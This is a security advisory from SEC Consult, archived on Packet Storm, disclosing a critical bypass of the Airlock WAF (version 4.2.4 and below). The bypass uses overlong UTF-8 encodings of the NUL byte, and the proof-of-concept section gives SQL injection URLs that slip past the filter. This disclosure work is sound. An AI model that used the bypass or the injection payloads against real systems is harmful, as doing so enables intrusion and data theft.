what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Airlock WAF 4.2.4 Bypass

Airlock WAF 4.2.4 Bypass
Posted Jun 19, 2012
Authored by G. Wagner | Site sec-consult.com

The Airlock WAF protection can be completely bypassed by using overlong UTF-8character representations of the NUL character such as C0 80, E0 80 80 and F080 80 80. During the tests no internal knowledge of the WAF was known, but it is suspected that the UTF-8 decoder fails to reject the overlong NUL byte character representations and they get decoded as U+0000 later on. Further the WAF would not perform any checks for attack patterns after the NUL byte. Versions 4.2.4 and below are affected.

tags | exploit
SHA-256 | 4500f9de8c3478095642ee54e1fc94fcf7d2f146d8b89ff5f68fd0fa5d527f81

Airlock WAF 4.2.4 Bypass

Change Mirror Download
SEC Consult Vulnerability Lab Security Advisory < 20120618-1 >
=======================================================================
title: Airlock WAF overlong UTF-8 sequence bypass
product: Airlock
vulnerable version: <= 4.2.4 (without hotfix HF4213)
fixed version: 4.2.5
impact: critical
homepage: http://www.ergon.ch/
found: 2012-04-05
by: G. Wagner
SEC Consult Vulnerability Lab
https://www.sec-consult.com/
=======================================================================


Vendor description:
-------------------

Airlock is a Web application firewall (WAF) that offers a combination of
defence mechanisms for Web applications. It has been developed to meet the
security standards criteria of the payment card industry (PCI DSS), online
banking security and the protection of e-commerce, and provides sustainable,
easy to administrate and audit security for Web applications.

source: http://www.ergon.ch/en/airlock/


Vulnerability overview/description:
-----------------------------------

The Airlock WAF protection can be completely bypassed by using overlong UTF-8
character representations of the NUL character such as C0 80, E0 80 80 and F0
80 80 80. During the tests no internal knowledge of the WAF was known, but it
is suspected that the UTF-8 decoder fails to reject the overlong NUL byte
character representations and they get decoded as U+0000 later on. Further the
WAF would not perform any checks for attack patterns after the NUL byte.


Proof of concept:
-----------------

The WAF blocks requests based on patterns that it recognizes as a web
application attack, for instance:

allowed:
http://www.abc.com/file.ext?id=101'+union+select

forbidden:
http://www.abc.com/file.ext?id=101'+union+select+1+from+Dual+--+


If an overlong UTF-8 character representation of the NUL byte forgoes any web
application attack sequence, the WAF would fail to recognize the attack
pattern, for instance:

forbidden:
http://www.abc.com/file.ext?id=101'+union+select+col1,col2,col3+from+table+--+

allowed:
http://www.abc.com/file.ext?id=101%C0%80'+union+select+col1,col2,col3+from+table+--+


Vendor contact timeline:
------------------------
2012-04-05: Informed customer about vulnerability in their Airlock WAF.
2012-06-08: Received permission from customer to contact vendor directly.
2012-06-11: Contacted security contact at Ergon with vulnerability information.
2012-06-13: Vendor indicates that issue is already fixed. They had received
vulnerability information already by the customer.
2012-06-18: Vendor provides information on patched versions.


Solution:
---------

The vendor resolved the issue on the 19th of April 2012 with Update 4.2.5 or
the Hotfix HF4213 for the versions 4.2.4 and 4.2.3.3.


Advisory URL:
-------------

https://www.sec-consult.com/en/advisories.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Singapore Pte. Ltd.

4 Battery Road
#25-01 Bank of China Building
Singapore (049908)

Mail: research at sec-consult dot com
https://www.sec-consult.com

EOF G. Wagner / @2012
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close